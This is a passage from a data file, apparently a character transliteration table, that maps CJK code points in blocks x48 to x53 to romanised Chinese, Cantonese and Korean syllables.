'Tuo ','Min ','Tian ','Juan ','Qi ','Zheng ','Jing ','Gong ','Tian ','Lang ','Mao ','Yin ','Lu ','Yun ','Ju ','Pi ',
'','Xie ','Bian ','','Zeoi ','Rong ','Sang ','Wu ','Cha ','Gu ','Chan ','Peng ','Man ','Saau ','Zung ','Shuang ',
'Keng ','Zhuan ','Chan ','Si ','Chuang ','Sui ','Bei ','Kai ','','Zhi ','Wei ','Min ','Ling ','','Nei ','Ling ',
'Qi ','Yue ','Lip ','Yi ','Xi ','Chen ','','Rong ','Chen ','Nong ','You ','Ji ','Bo ','Fang ','Gei ','',
'Cu ','Di ','Gaau ','Yu ','Ge ','Xu ','Lu ','He ','','Bai ','Gong ','Jiong ','Gwai ','Ya ','Nu ','You ',
'Song ','Xie ','Cang ','Yao ','Shu ','Yan ','Shuai ','Liao ','Sung ','Yu ','Bo ','Sui ','Cin ','Yan ','Lei ','Lin ',
'Tai ','Du ','Yue ','Ji ','Cin ','Yun ','Bong ','','','Ju ','Ceot ','Chen ','Cung ','Xiang ','Xian ','On ',
'Gui ','Yu ','Lei ','','Tu ','Chen ','Xing ','Qiu ','Hang ','','Dang ','Cai ','Di ','Yan ','Ci ','Gung ',
'Zing ','Chan ','','Li ','Suo ','Ma ','Ma ','','Tang ','Pei ','Lou ','Sat ','Cuo ','Tu ','E ','Can ',
'Jie ','Ti ','Ji ','Dang ','Jiao ','Bi ','Lei ','Yi ','Chun ','Chun ','Po ','Li ','Zai ','Tai ','Po ','Tian ',
'Ju ','Xu ','Fan ','','Xu ','Er ','Huo ','Chua ','Ran ','Fa ','Gyun ','','Liang ','Ti ','Mi ','',
],
'x49':[
'','Cen ','Mei ','Yin ','Mian ','Tu ','Kui ','Sau ','Hei ','Mi ','Rong ','Guo ','Coeng ','Mi ','Ju ','Pi ',
'Jin ','Wang ','Ji ','Meng ','Jian ','Xue ','Bao ','Gan ','Chan ','Li ','Li ','Qiu ','Dun ','Ying ','Yun ','Chen ',
'Ji ','Ran ','','Lue ','','Gui ','Yue ','Hui ','Pi ','Cha ','Duo ','Chan ','So ','Kuan ','She ','Xing ',
'Weng ','Shi ','Chi ','Ye ','Han ','Fei ','Ye ','Yan ','Zuan ','Saau ','Yin ','Duo ','Xian ','Gwaan ','Tou ','Qie ',
'Chan ','Han ','Meng ','Yue ','Cu ','Qian ','Jin ','Shan ','Mu ','Zyun ','Coeng ','Baang ','Zheng ','Zhi ','Chun ','Yu ',
'Mou ','Wan ','Chou ','Kei ','Su ','Pie ','Tian ','Kuan ','Cu ','Sui ','Co ','Jie ','Jian ','Ao ','Jiao ','Ye ',
'Saam ','Ye ','Long ','Zao ','Bao ','Lian ','','Huan ','Lu ','Wei ','Xian ','Tie ','Bo ','Zheng ','Zhu ','Ba ',
'Meng ','Xie ','Aau ','Zaau ','Teon ','Xiao ','Li ','Zha ','Mi ','','Ye ','','','Put ','Xie ','',
'','Bong ','Shan ','Coeng ','','Shan ','Jue ','Ji ','Fang ','','Niao ','Ao ','Chu ','Wu ','Guan ','Xie ',
'Ting ','Xie ','Dang ','Zim ','Tan ','Ping ','Xia ','Xu ','Bi ','Si ','Huo ','Zheng ','Wu ','','Run ','Chuai ',
'Shi ','Huan ','Kuo ','Fu ','Chuai ','Xian ','Qin ','Qie ','Lan ','','Ya ','Zing ','Que ','','Chun ','Zhi ',
'Gau ','Kui ','Qian ','Hang ','Yi ','Ni ','Zheng ','Chuai ','','Shi ','Cap ','Ci ','Jue ','Xu ','Yun ','',
'','Chu ','Dao ','Dian ','Ge ','Ti ','Hong ','Ni ','','Li ','','Xian ','Seoi ','Xi ','Xuan ','',
'Gwik ','Taai ','Lai ','Zau ','Mu ','Cheng ','Jian ','Bi ','Qi ','Ling ','Hao ','Bang ','Tang ','Di ','Fu ','Xian ',
'Shuan ','Zung ','Keoi ','Zaan ','Pu ','Hui ','Wei ','Yi ','Ye ','','Che ','Hao ','Baai ','','Xian ','Chan ',
'Hun ','Gaau ','Han ','Ci ','Zi ','Qi ','Kui ','Rou ','Gu ','Zing ','Xiong ','Gap ','Hu ','Cui ','Syu ','Que ',
],
'x4a':[
'Di ','Che ','Cau ','','Yan ','Liao ','Bi ','Soeng ','Ban ','Zing ','','Nue ','Bao ','Ying ','Hong ','Ci ',
'Qia ','Ti ','Yu ','Lei ','Bao ','Wu ','Ji ','Fu ','Xian ','Cen ','Fat ','Se ','Baang ','Cing ','Yu ','Waa ',
'Ai ','Han ','Dan ','Ge ','Di ','Hu ','Pang ','Zaam ','Zaa ','Ling ','Mai ','Mai ','Lian ','Siu ','Xue ','Zhen ',
'Po ','Fu ','Nou ','Xi ','Dui ','Dan ','Yun ','Xian ','Yin ','Suk ','Dui ','Beng ','Hu ','Fei ','Fei ','Qian ',
'Bei ','Fei ','','Shi ','Tian ','Zhan ','Jian ','','Hui ','Fu ','Wan ','Mo ','Qiao ','Liao ','','Mie ',
'Ge ','Hong ','Yu ','Qi ','Duo ','Ang ','Saa ','Ba ','Di ','Xuan ','Di ','Bi ','Zhou ','Pao ','Nian ','Yi ',
'Ting ','Jia ','Da ','Duo ','Xi ','Dan ','Tiao ','Xie ','Chang ','Yuan ','Guan ','Liang ','Beng ','Gei ','Lu ','Ji ',
'Xuan ','Shu ','Dou ','Shu ','Hu ','Yun ','Chan ','Bong ','Rong ','E ','Zung ','Ba ','Feng ','Zyu ','Zhe ','Fen ',
'Guan ','Bu ','Ge ','Deon ','Huang ','Du ','Ti ','Bo ','Qian ','La ','Long ','Wei ','Zhan ','Lan ','Seoi ','Na ',
'Bi ','Tuo ','Jiao ','','Bu ','Ju ','Po ','Xia ','Wei ','Fu ','He ','Fan ','Chan ','Hu ','Za ','',
'Saai ','Zai ','Zai ','Zai ','Fan ','Die ','Hong ','Chi ','Bao ','Yin ','','Haang ','Bo ','Ruan ','Chou ','Ying ',
'Zi ','Gai ','Kwaan ','Yun ','Zhen ','Ya ','Zeoi ','Hou ','Min ','Pei ','Ge ','Bian ','Zyut ','Hao ','Mi ','Sheng ',
'Gen ','Bi ','Duo ','Chun ','Chua ','San ','Cheng ','Ran ','Zen ','Mao ','Bo ','Tui ','Pi ','Fu ','Zyut ','Hei ',
'Lin ','Hei ','Men ','Wu ','Qi ','Zhi ','Chen ','Xia ','He ','Sang ','Gwaa ','Hou ','Au ','Fu ','Rao ','Hun ',
'Pei ','Qian ','Si ','Xi ','Ming ','Kui ','Ge ','','Ao ','San ','Shuang ','Lou ','Zhen ','Hui ','Can ','Ci ',
'Lin ','Na ','Han ','Du ','Jin ','Mian ','Fan ','E ','Nao ','Hong ','Hong ','Xue ','Xue ','Pau ','Bi ','Ciu ',
],
'x4b':[
'You ','Yi ','Xue ','Sa ','Yu ','Li ','Li ','Yuan ','Dui ','Hao ','Qie ','Leng ','Paau ','Fat ','Guo ','Bu ',
'Wei ','Wei ','Saau ','An ','Xu ','Shang ','Heng ','Yang ','Gwik ','Yao ','Fan ','Bi ','Ci ','Heng ','Tao ','Liu ',
'Fei ','Zhu ','Tou ','Qi ','Chao ','Yi ','Dou ','Yuan ','Cu ','Zai ','Bo ','Can ','Yang ','Tou ','Yi ','Nian ',
'Shao ','Ben ','Ngaau ','Ban ','Mo ','Ai ','En ','She ','Caan ','Zhi ','Yang ','Jian ','Yuan ','Dui ','Ti ','Wei ',
'Xun ','Zhi ','Yi ','Ren ','Shi ','Hu ','Ne ','Yi ','Jian ','Sui ','Ying ','Bao ','Hu ','Hu ','Xie ','',
'Yang ','Lian ','Sik ','En ','Deoi ','Jian ','Zhu ','Ying ','Yan ','Jin ','Chuang ','Dan ','','Kuai ','Yi ','Ye ',
'Jian ','En ','Ning ','Ci ','Qian ','Xue ','Bo ','Mi ','Shui ','Mi ','Liang ','Qi ','Qi ','Shou ','Bi ','Bo ',
'Beng ','Bie ','Ni ','Wei ','Huan ','Fan ','Qi ','Liu ','Fu ','Ang ','Ang ','Fan ','Qi ','Qun ','Tuo ','Yi ',
'Bo ','Pian ','Bo ','Keoi ','Xuan ','','Baai6','Yu ','Chi ','Lu ','Yi ','Li ','Zaau ','Niao ','Xi ','Wu ',
'Gwing ','Lei ','Pei ','Zhao ','Zui ','Chuo ','Coeng ','An ','Er ','Yu ','Leng ','Fu ','Sha ','Huan ','Chu ','Sou ',
'Bik ','Bi ','Die ','Song ','Di ','Li ','Giu ','Han ','Zai ','Gu ','Cheng ','Lou ','Mo ','Mi ','Mai ','Ao ',
'Dan ','Zhu ','Huang ','Fan ','Deng ','Tong ','','Du ','Hu ','Wei ','Ji ','Chi ','Lin ','Biu ','Pang ','Jian ',
'Nie ','Luo ','Ji ','Ngon ','Waa ','Nie ','Yi ','Gwaat6','Wan ','Ya ','Qia ','Bo ','Hau ','Ling ','Gan ','Huo ',
'Hai ','Hong ','Heng ','Kui ','Cen ','Ting ','Lang ','Bi ','Huan ','Po ','Ou ','Jian ','Ti ','Sui ','Kwaa ','Dui ',
'Ao ','Jian ','Mo ','Gui ','Kuai ','An ','Ma ','Qing ','Fen ','','Kao ','Hao ','Duo ','Cim ','Nai ','Seoi ',
'Jie ','Fu ','Pa ','Sung ','Chang ','Nie ','Man ','Sung ','Ci ','Cim ','Kuo ','Gai ','Di ','Fu ','Tiao ','Zu ',
],
'x4c':[
'Wo ','Fei ','Cai ','Peng ','Shi ','Sou ','Rou ','Qi ','Cha ','Pan ','Bo ','Man ','Zong ','Ci ','Gui ','Ji ',
'Lan ','Siu ','Meng ','Mian ','Pan ','Lu ','Cuan ','Gau ','Liu ','Yi ','Wen ','Li ','Li ','Zeng ','Zhu ','Hun ',
'Shen ','Chi ','Xing ','Wang ','Dung ','Huo ','Pi ','Bou6','Mei ','Che ','Mei ','Chao ','Ju ','Nou ','','Ni ',
'Ru ','Ling ','Ya ','','Qi ','Zi ','','Bang ','Gung ','Ze ','Jie ','Yu ','Xin ','Bei ','Ba ','Tuo ',
'Ong ','Qiao ','You ','Di ','Jie ','Mo ','Sheng ','Shan ','Qi ','Shan ','Mi ','Dan ','Yi ','Geng ','Geng ','Tou ',
'Fu ','Xue ','Yi ','Ting ','Tiao ','Mou ','Liu ','Caan ','Li ','Suk ','Lu ','Xu ','Cuo ','Ba ','Liu ','Ju ',
'Zhan ','Ju ','Zang ','Zu ','Xian ','Zhi ','','','Zhi ','','','La ','Seoi ','Geng ','E ','Mu ',
'Zhong ','Di ','Yan ','Zin ','Geng ','Zung ','Lang ','Yu ','Caau ','Na ','Hai ','Hua ','Zhan ','Coeng ','Lou ','Chan ',
'Die ','Wei ','Xuan ','Zao ','Min ','Kwai ','Sou ','','','Si ','Tuo ','Cen ','Kuan ','Teng ','Nei ','Lao ',
'Lu ','Yi ','Xie ','Yan ','Qing ','Pu ','Chou ','Xian ','Guan ','Jie ','Lai ','Meng ','Ye ','Ceoi ','Li ','Yin ',
'Ceon ','Cau ','Teng ','Yu ','','Gau ','Cha ','Du ','Hong ','Si ','Xi ','Gaau ','Qi ','Ci ','Yuan ','Ji ',
'Yun ','Fang ','Gung ','Hang ','Zhen ','Hu ','','','Jie ','Pei ','Gan ','Xuan ','Saang ','Dao ','Qiao ','Ci ',
'Die ','Ba ','Tiao ','Wan ','Ci ','Zhi ','Bai ','Wu ','Bao ','Dan ','Ba ','Tong ','Gyun ','Gung ','Jiu ','Gui ',
'Ci ','You ','Yuan ','Lao ','Jiu ','Fou ','Nei ','E ','E ','Xing ','He ','Yan ','Tu ','Bu ','Beng ','Kou ',
'Chui ','Zeoi ','Qi ','Yuan ','Bit ','','Hyun ','Hou ','Huang ','Ziu ','Juan ','Kui ','E ','Ji ','Mo ','Chong ',
'Bao ','Wu ','Zhen ','Xu ','Da ','Chi ','Gaai ','Cong ','Ma ','Kou ','Yan ','Can ','Aau ','He ','Dang ','Lan ',
],
'x4d':[
'Tong ','Yu ','Hang ','Nao ','Li ','Fen ','Pu ','Ling ','Ao ','Xuan ','Yi ','Xuan ','Meng ','Ang ','Lei ','Yan ',
'Bao ','Die ','Ling ','Shi ','Jiao ','Lie ','Jing ','Ju ','Ti ','Pi ','Gang ','Jiao ','Huai ','Bu ','Di ','Huan ',
'Yao ','Li ','Mi ','Fu ','Saang ','Gaa ','Ren ','Wai ','','Piao ','Lu ','Ling ','Yi ','Cai ','Shan ','Fat ',
'Shu ','Tuo ','Mo ','He ','Tie ','Bing ','Peng ','Hun ','Fu ','Guo ','Bu ','Li ','Chan ','Bai ','Cuo ','Meng ',
'Suo ','Qiang ','Zhi ','Kuang ','Bi ','Ao ','Meng ','Xian ','Guk ','Tou ','Teon ','Wei ','Cim ','Tan ','Caau ','Lao ',
'Chan ','Ni ','Ni ','Li ','Dong ','Ju ','Jian ','Fu ','Sha ','Zha ','Tao ','Jian ','Nong ','Ya ','Jing ','Gan ',
'Di ','Jian ','Mei ','Da ','Jian ','She ','Xie ','Zai ','Mang ','Li ','Gun ','Yu ','Ta ','Zhe ','Yang ','Tuan ',
'Soeng ','He ','Diao ','Wei ','Yun ','Zha ','Qu ','Waa ','Caau ','Zi ','Ting ','Gu ','Soeng ','Ca ','Fu ','Tie ',
'Ta ','Ta ','Zhuo ','Han ','Ping ','He ','Ceoi ','Zhou ','Bo ','Liu ','Nu ','Kaap ','Pao ','Di ','Sha ','Ti ',
'Kuai ','Ti ','Qi ','Ji ','Chi ','Pa ','Jin ','Ke ','Li ','Ju ','Qu ','La ','Gu ','Qia ','Qi ','Xian ',
'Jian ','Shi ','Xian ','Ai ','Hua ','Ju ','Ze ','Yao ','Tam ','Ji ','Cha ','Kan ','Gin ','','Yan ','Gwaai ',
'Ziu ','Tong ','Nan ','Yue ','Ceoi ','Chi ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x4e':[
'Il ','Ceng ','Kyo ','Chil ','Sang ','Ha ','','Man ','Cang ','Sam ','Sang ','Ha ','Ki ','Pwu ','Ye ','Myen ',
'Kal ','Chwuk ','Chou ','Zhuan ','Cha ','Pi ','Sey ','Shi ','Kwu ','Pyeng ','Ye ','Cong ','Dong ','Si ','Sung ','Cwu ',
'Kwu ','Lyang ','Cwu ','Yu ','Lyang ','Yan ','Pyeng ','Sang ','Kon ','Kwu ','Kay ','A ','Qiang ','Cwung ','Kuk ','Jie ',
'Pong ','Kwan ','Koc ','Chan ','Lin ','Chak ','Cwu ','Ha ','Hwan ','Tan ','Wei ','Cwu ','Ceng ','Li ','Ju ','Pyel ',
'Pwul ','Yi ','Yey ','Nay ','Shime ','Kwu ','Kwu ','Cek ','Yo ','Yi ','','Ci ','Wu ','Sa ','Ho ','Phip ',
'Le ','Im ','Ping ','Pang ','Qiao ','Hu ','Koy ','Sung ','Sung ','Ul ','Yin ','','Mya ','Kwu ','Kel ','Ya ',
'Xi ','Xiang ','Gai ','Kyu ','Hal ','','Shu ','Twul ','Si ','Kyey ','Nang ','Kal ','Kel ','Tol ','','Ol ',
'Mai ','Lan ','Cal ','Yu ','Xue ','Yan ','Phol ','Sal ','Na ','Gan ','Sol ','El ','Cwul ','','Kan ','Chi ',
'Kwi ','Ken ','Lan ','Lin ','Uy ','Kwel ','Lyo ','Ma ','Ye ','Zheng ','Sa ','Sa ','I ','Chok ','Wu ','Yu ',
'Wul ','Wun ','Ho ','Ki ','O ','Ceng ','Si ','Sui ','Sen ','Kung ','Ya ','Sa ','A ','Cey ','A ','Kuk ',
'Twu ','Mang ','Hang ','Ta ','Kyo ','Hay ','Yek ','Chan ','Hyeng ','Mu ','','Hyang ','Kyeng ','Ceng ','Lyang ','Xiang ',
'Kyeng ','Ya ','Qin ','Pak ','Yu ','Xie ','Tan ','Lyem ','Duo ','Mi ','In ','In ','Ji ','La ','Mang ','Yi ',
'Sip ','In ','Luk ','Ding ','Chuk ','Jin ','Pwu ','Kwu ','Ba ','Zhang ','Kum ','Kay ','Bing ','Ing ','Cong ','Pwul ',
'San ','Lun ','Sya ','Cang ','Ca ','Sa ','Tha ','Cang ','Pwu ','Sen ','Hen ','Cha ','Hong ','Tong ','In ','Chen ',
'Gan ','Hul ','Cak ','Tay ','Lyeng ','I ','Chao ','Chang ','Sa ','','Yi ','Mu ','Men ','In ','Ka ','Chao ',
'Ang ','Qian ','Cwung ','Pi ','Wan ','O ','Ken ','Kay ','Yao ','Feng ','Cang ','Im ','Wang ','Pin ','Di ','Pang ',
],
'x4f':[
'Cong ','Ki ','Pei ','Ye ','Diao ','Ton ','Wen ','Yek ','Sim ','Hang ','I ','Kup ','Ai ','O ','Ki ','Pok ',
'Pel ','Hyu ','Jin ','Bei ','Dan ','Fu ','Tang ','Zhong ','You ','Hwa ','Hoy ','Yu ','Col ','Cen ','San ','Wei ',
'Chuan ','Che ','Ya ','Hyen ','Shang ','Chang ','Lun ','Cang ','Xun ','Sin ','Wei ','Zhu ','','Xuan ','Nu ','Payk ',
'Ko ','Ni ','Ni ','Xie ','Pan ','Xu ','Lyeng ','Zhou ','Sin ','Qu ','Sa ','Phayng ','Sa ','Ka ','Pi ','Yi ',
'Sa ','I ','Ceng ','Cen ','Han ','Mai ','Tan ','Ce ','Pho ','Kwu ','Phi ','So ','Ci ','Wi ','Ce ','Cwu ',
'Cwa ','Wu ','Ang ','Pwun ','Cem ','Ha ','Phil ','Tha ','Sa ','Ye ','Il ','Pwul ','Cak ','Kwu ','Nyeng ','Tong ',
'Ni ','Xuan ','Qu ','Yong ','Wa ','Qian ','','Ka ','','Phay ','Hoy ','He ','Lao ','Xiang ','Ge ','Yang ',
'Peyk ','Fa ','Ming ','Ka ','I ','Pyeng ','Kil ','Hang ','Kwal ','Kwey ','Cen ','Co ','Kyo ','Cha ','Il ','Sa ',
'Hyeng ','Sin ','Thak ','Kan ','Cil ','Hay ','Lay ','I ','Chi ','Kwa ','Kwang ','Lyey ','Yin ','Si ','Mi ','Cwu ',
'Hyek ','Yu ','An ','Lu ','Mo ','Er ','Lyun ','Tong ','Cha ','Chik ','Swun ','Kong ','Cwu ','Uy ','Ye ','Jian ',
'Hyep ','Ka ','Zai ','Lye ','Ko ','Jiao ','Zhen ','Ce ','Qiao ','Kuai ','Chai ','Ning ','Nong ','Jin ','Mo ','Hwu ',
'Jiong ','Cheng ','Cin ','Cwa ','Chou ','Chim ','Lye ','Kwuk ','Twu ','Ceng ','Shen ','Thal ','Bo ','Nan ','Hao ','Phyen ',
'Tui ','Yu ','Kyey ','Chok ','A ','Kwu ','Xu ','Kwang ','Ku ','O ','Cwun ','Up ','Po ','Lyang ','Co ','So ',
'Li ','Yong ','Hun ','Kyeng ','Hyen ','San ','Pai ','Sok ','Pwu ','Huy ','Li ','Myen ','Ping ','Po ','Yu ','Sa ',
'Hyep ','Sin ','Xiu ','O ','Cey ','Ke ','Chou ','','Yan ','Lia ','Li ','Lai ','Si ','Jian ','Swu ','Pwu ',
'Hwa ','Kwu ','Hyo ','Pay ','Chen ','Phyo ','Swuk ','Pi ','Pong ','A ','Em ','Pi ','Yu ','Xin ','Pi ','Jian ',
],
'x50':[
'Chang ','Chi ','Pyeng ','Kwu ','Hyo ','Swi ','Lyang ','Wan ','Lai ','Chang ','Zong ','Kay ','Kwan ','Pay ','Cen ','Swuk ',
'Swuk ','Mwun ','To ','Tam ','Kwul ','Swu ','Hayng ','Pwung ','Tang ','Hwu ','Uy ','Ki ','Chek ','Kan ','Kyeng ','Cha ',
'Hyu ','Chang ','Chep ','Pang ','Chi ','Kong ','Kwen ','Cong ','Ke ','Chen ','Yey ','Lyun ','Thak ','Wi ','La ','Song ',
'Lung ','Hon ','Tong ','Sa ','Pwun ','Wu ','Kwu ','Nai ','Cai ','Kem ','Zhai ','Ya ','Chi ','Sha ','Qing ','',
'Ying ','Ching ','Jian ','En ','Nan ','Tong ','Chwun ','Ka ','Key ','Wi ','Yu ','Bing ','Ya ','Ti ','Oy ','Phyen ',
'An ','Feng ','Thang ','Ak ','E ','Hay ','Cha ','Sheng ','Kan ','Di ','Cwu ','Sap ','Ceng ','Pay ','Yep ','Hwang ',
'Yo ','Zhan ','Cho ','Yan ','You ','Ken ','Xu ','Zha ','Chi ','Pwu ','Phip ','Chi ','Chong ','Myen ','Ji ','Uy ',
'Sel ','Xun ','Si ','Duan ','Chuk ','Ceng ','Wu ','Thwu ','Thwu ','Pi ','Za ','Lu ','Jie ','Wi ','Fen ','Chang ',
'Koy ','Sou ','Zhi ','So ','Xia ','Pwu ','Yuan ','Rong ','Li ','Ru ','Yun ','Kang ','Ma ','Pang ','Cen ','Tang ',
'Hao ','Kel ','Hyey ','Sen ','Kyem ','Kak ','Chang ','Chu ','San ','Pi ','Hyo ','Yong ','Yo ','Thap ','Sa ','Yang ',
'Fa ','Bing ','Ka ','Dai ','Zai ','Tang ','Cot ','Bin ','Chu ','Nuo ','Can ','Lei ','Choy ','Yong ','Co ','Chong ',
'Pwung ','Song ','O ','Cen ','Kwu ','Chay ','Cou ','Sang ','Qiang ','Jing ','Cey ','Sa ','Han ','Cang ','Kyeng ','En ',
'Di ','Sel ','Lwu ','Bei ','Phyo ','Kun ','Lyen ','Lyuk ','Man ','Chem ','Sen ','Tham ','Ying ','Tong ','Cwun ','Sang ',
'Shan ','Kyo ','Kwun ','Tui ','Cwun ','Pok ','Huy ','Lao ','Chang ','Guang ','Lyo ','Ki ','Deng ','Can ','Wi ','Ki ',
'Fan ','Hui ','Chen ','Cham ','Than ','Yo ','Chwu ','Sung ','Pwun ','Han ','Kyel ','E ','Cho ','Cham ','Tong ','Lin ',
'Pwuk ','Gu ','','Su ','Xian ','Kang ','Min ','Yep ','Kum ','Ka ','Qiao ','Pyek ','Feng ','Chwu ','Ay ','Sa ',
],
'x51':[
'Uy ','Cwun ','Nong ','Chen ','Ek ','Dang ','Kyeng ','Hyen ','Koy ','Kem ','Chu ','Tam ','Kyo ','Sha ','Zai ','',
'Pin ','Ap ','Yu ','Tay ','Cwu ','Cey ','Lan ','Uy ','Cin ','Qian ','Meng ','Mwu ','Nyeng ','Qiong ','Ni ','Sang ',
'Lyep ','Loy ','Lye ','Kuang ','Pho ','Yuk ','Phyo ','Chan ','Cil ','Sa ','Wu ','Ho ','Chen ','Chun ','Li ','Teng ',
'Wei ','Long ','Ce ','Cham ','Sang ','Swuk ','Hyey ','Lye ','La ','Chan ','Na ','Tang ','Em ','Lay ','Nang ','In ',
'Ol ','Yun ','Cam ','Wen ','Hyeng ','Chwung ','Co ','Hyung ','Sen ','Kwang ','Thay ','Kuk ','Thay ','Myen ','Tho ','Chang ',
'A ','Thay ','A ','Chim ','Tho ','Si ','Yen ','Yen ','Shi ','Sip ','Tang ','Chen ','Twu ','Fen ','Mao ','Sin ',
'Dou ','Payk ','Kung ','Li ','Huang ','Ip ','Mang ','Nay ','Cen ','Lyang ','Yu ','Phal ','Kong ','Lyuk ','Hyey ','',
'Lan ','Kong ','Tian ','Guan ','Xing ','Pyeng ','Ki ','Kwu ','Cen ','Ca ','Ppwun ','Yang ','Kyem ','Shou ','Ji ','Yi ',
'Ki ','Chan ','Kyeng ','Mo ','Yem ','Nay ','Wen ','Mao ','Gang ','Yem ','Chayk ','Jiong ','Chayk ','Cay ','Gua ','Kyeng ',
'Mo ','Cwu ','Mo ','Kwu ','Hwu ','Myen ','Myek ','Yong ','Yu ','Sa ','Kan ','Jun ','Nong ','Uy ','Mi ','Sek ',
'Kwan ','Mong ','Chong ','Chwi ','Wen ','Myeng ','Kou ','Lam ','Pwu ','Sa ','Myek ','Ping ','Tong ','Tai ','Gang ','Feng ',
'Ping ','Ho ','Chwung ','Kyel ','Ho ','Hwang ','Ya ','Layng ','Pan ','Pwul ','Min ','Dong ','Xian ','Lyel ','Xia ','Jian ',
'Jing ','Swu ','Mei ','Tu ','Che ','Ko ','Cwun ','Song ','Ceng ','Lyang ','Cheng ','Co ','Lung ','Tong ','Gan ','Kam ',
'Yin ','Cwu ','Uy ','Yul ','Chang ','Ming ','Cwun ','Choy ','Si ','Duo ','Kum ','Lum ','Lum ','Ung ','Huy ','Du ',
'Kwey ','Pem ','Pem ','Pem ','Feng ','Ke ','Che ','Tako ','Phwung ','Mok ','Ci ','Fu ','Feng ','Ping ','Phwung ','Kai ',
'Hwang ','Kay ','Gan ','Tung ','Ping ','Kam ','Hyung ','Koy ','Chel ','Yo ','Chwul ','Ji ','Dang ','Ham ','Ham ','Zao ',
],
'x52':[
'To ','Co ','To ','In ','In ','Chang ','Pwun ','Cel ','Yey ','Ji ','Kan ','Chen ','Chon ','Chu ','Mwun ','Ki ',
'Dan ','Hyeng ','Hwa ','Wan ','Kyel ','Li ','Wel ','Lyel ','Lyu ','Ze ','Gang ','Chuang ','Pwul ','Cho ','Qu ','Ju ',
'San ','Min ','Ling ','Zhong ','Phan ','Pyel ','Kep ','Kep ','Pho ','Li ','San ','Pyel ','Chan ','Jing ','Kwal ','Gen ',
'To ','Chang ','Kyu ','Ko ','Tha ','I ','Cey ','Sway ','Kwen ','Chal ','Ca ','Kak ','Jie ','Gui ','Ci ','Gui ',
'Kai ','Duo ','Ji ','Chey ','Kyeng ','Lou ','Gen ','Chik ','Yuan ','Cwa ','Sak ','Kuk ','Lal ','Cen ','Chal ','Chang ',
'Gua ','Jian ','Chak ','Li ','Chek ','Pi ','Pwu ','Can ','Qi ','Chang ','Sa ','Kang ','Wan ','Pak ','Ki ','Chel ',
'Kyeng ','Sem ','Zhuo ','Kem ','Ji ','Pak ','Em ','Ju ','Koyk ','Ing ','Cen ','Thak ','Tan ','Ok ','Kwa ','Pwu ',
'Sheng ','Jian ','Hal ','Cha ','Kay ','Chang ','Juan ','San ','Tan ','Lyuk ','Li ','Fou ','Shan ','Phyo ','Kou ','Cho ',
'Kwal ','Qiao ','Kwey ','Hoyk ','Cha ','Zhuo ','Lian ','Kuk ','Pyek ','Lyu ','Hoy ','Co ','Kwi ','Kem ','Kem ','Tang ',
'Hwak ','Cey ','Kem ','Uy ','Kem ','Zhi ','Cham ','Chan ','Ma ','Li ','Chok ','Lyek ','Ya ','Quan ','Ban ','Kong ',
'Ka ','Wu ','Mai ','Lyel ','Kun ','Keng ','Hyep ','Zhi ','Dong ','Co ','No ','Kep ','Kwu ','Cho ','Il ','Zhu ',
'Miao ','Lye ','Jing ','Lao ','Lo ','Kwen ','Kwu ','Yang ','Wa ','Hyo ','Mou ','Kwang ','Hal ','Lie ','Hayk ','Shi ',
'Kuk ','Kyeng ','Hao ','Pal ','Min ','Chik ','Lang ','Yong ','Yong ','Myen ','Ke ','Xun ','Kwen ','Kyeng ','Lu ','Pou ',
'Meng ','Lay ','Luk ','Kai ','Min ','Tong ','Wuk ','Wuk ','Kam ','Mwu ','Yi ','Hwun ','Weng ','Sung ','Lo ','Mo ',
'Lyuk ','Phyo ','Sey ','Cek ','Kun ','Qiang ','Cho ','Kwen ','Yang ','Yey ','Jue ','Fan ','Juan ','Tong ','Ke ','Tan ',
'Hyep ','May ','Hwun ','Hwun ','Lye ','Lye ','Chel ','Yang ','Kwen ','Pho ','Cak ','Kyun ','Kwu ','Mwun ','Kwu ','Mwul ',
],
'x53':[
'Kyun ','Mwun ','Nay ','Kay ','Kay ','Pho ','Chong ','','Hung ','Phyeng ','Kwuk ','To ','Hap ','Pho ','Ap ','Pho ',
'Pok ','Kwung ','Tap ','Kwu ','Qiong ','Pi ','Hwa ','Pwuk ','Noy ','Si ','Pang ','Kwu ','I ','Cap ','Cang ','Kang ',
'Cang ','Kwang ','Hu ','Kap ','Qu ','Pyen ','Gui ','Hyep ','Zang ','Kuang ','Pi ','Hu ','Yu ','Kwey ','Gui ','Hoy ',
'Tan ','Kwey ','Lyem ','Lyem ','San ','Tok ','Kwu ','Qu ','Hyey ','Phil ','Kwu ','Yey ','Ap ','En ','Phyen ','Nik ',
'Kwu ','Sip ','Sin ','Chen ','Ip ','Sap ','Col ','Sung ','O ','Hwey ','Pan ','Sey ','Sip ','Man ','Hua ','Xie ',
'Man ','Pi ','Col ','Thak ','Hyep ','Tan ','Mai ','Nam ','Tan ','Cip ','Pak ','Shuai ','Pok ','Kwan ','Pyen ','Key ',
'Cem ','Cap ','Lu ','Yu ','Lu ','Xi ','Kway ','Wo ','Sel ','Cel ','Jie ','Wei ','Ang ','Kong ','Chi ','Myo ',
'In ','Wi ','So ','Cuk ','Kak ','Lan ','Si ','Kwen ','Sa ','Hyul ','Kun ','Kak ','Ol ','Cuk ','Ak ','Kyeng ',
'Sul ','','Em ','Cem ','Ayk ','Ting ','Li ','Chayk ','Han ','Lye ','A ','Ap ','Yan ','She ','Ci ','Zha ',
'Pang ','','He ','Ay ','Cil ','Ce ','Pang ','Ti ','Li ','She ','Hwu ','Ting ','Zui ','Co ','Pi ','Wen ',
'Chuk ','Yuan ','Xiang ','Yan ','Lyek ','Kwel ','Ha ','Dian ','Cwu ','Kwu ','Kun ','Ao ','Kwey ','Yem ','Si ','Li ',
'Chang ','Em ','Lye ','Em ','Yan ','Wen ','Sa ','Koyng ','Lin ','Kwu ','Ke ','Ke ','Uk ','Lwi ','Du ','Xian ',
'Zhuan ','Sam ','Sam ','Cham ','Cham ','Cham ','Ai ','Dai ','Wu ','Cha ','Kup ','Wu ','Ssang ','Pan ','Shou ','Kway ',
'Ba ','Fa ','Yak ','Sa ','Swuk ','Chel ','Chwi ','Swu ','Pyen ','Se ','Ka ','Pan ','Sou ','Gao ','Wi ','Swu ',
'Die ','Yey ','Chong ','Kwu ','Ko ','Kwu ','Lyeng ','Gua ','To ','Ko ','Ci ','Kyu ','So ','Phal ','Ceng ','Ka ',
'Thay ','Cil ','Sa ','Wu ','Kwu ','Pha ','Hyep ','Ho ','Sa ','Tan ','Ip ','Le ','Diao ','Ji ','Duk ','Hong ',
],
'x54':[
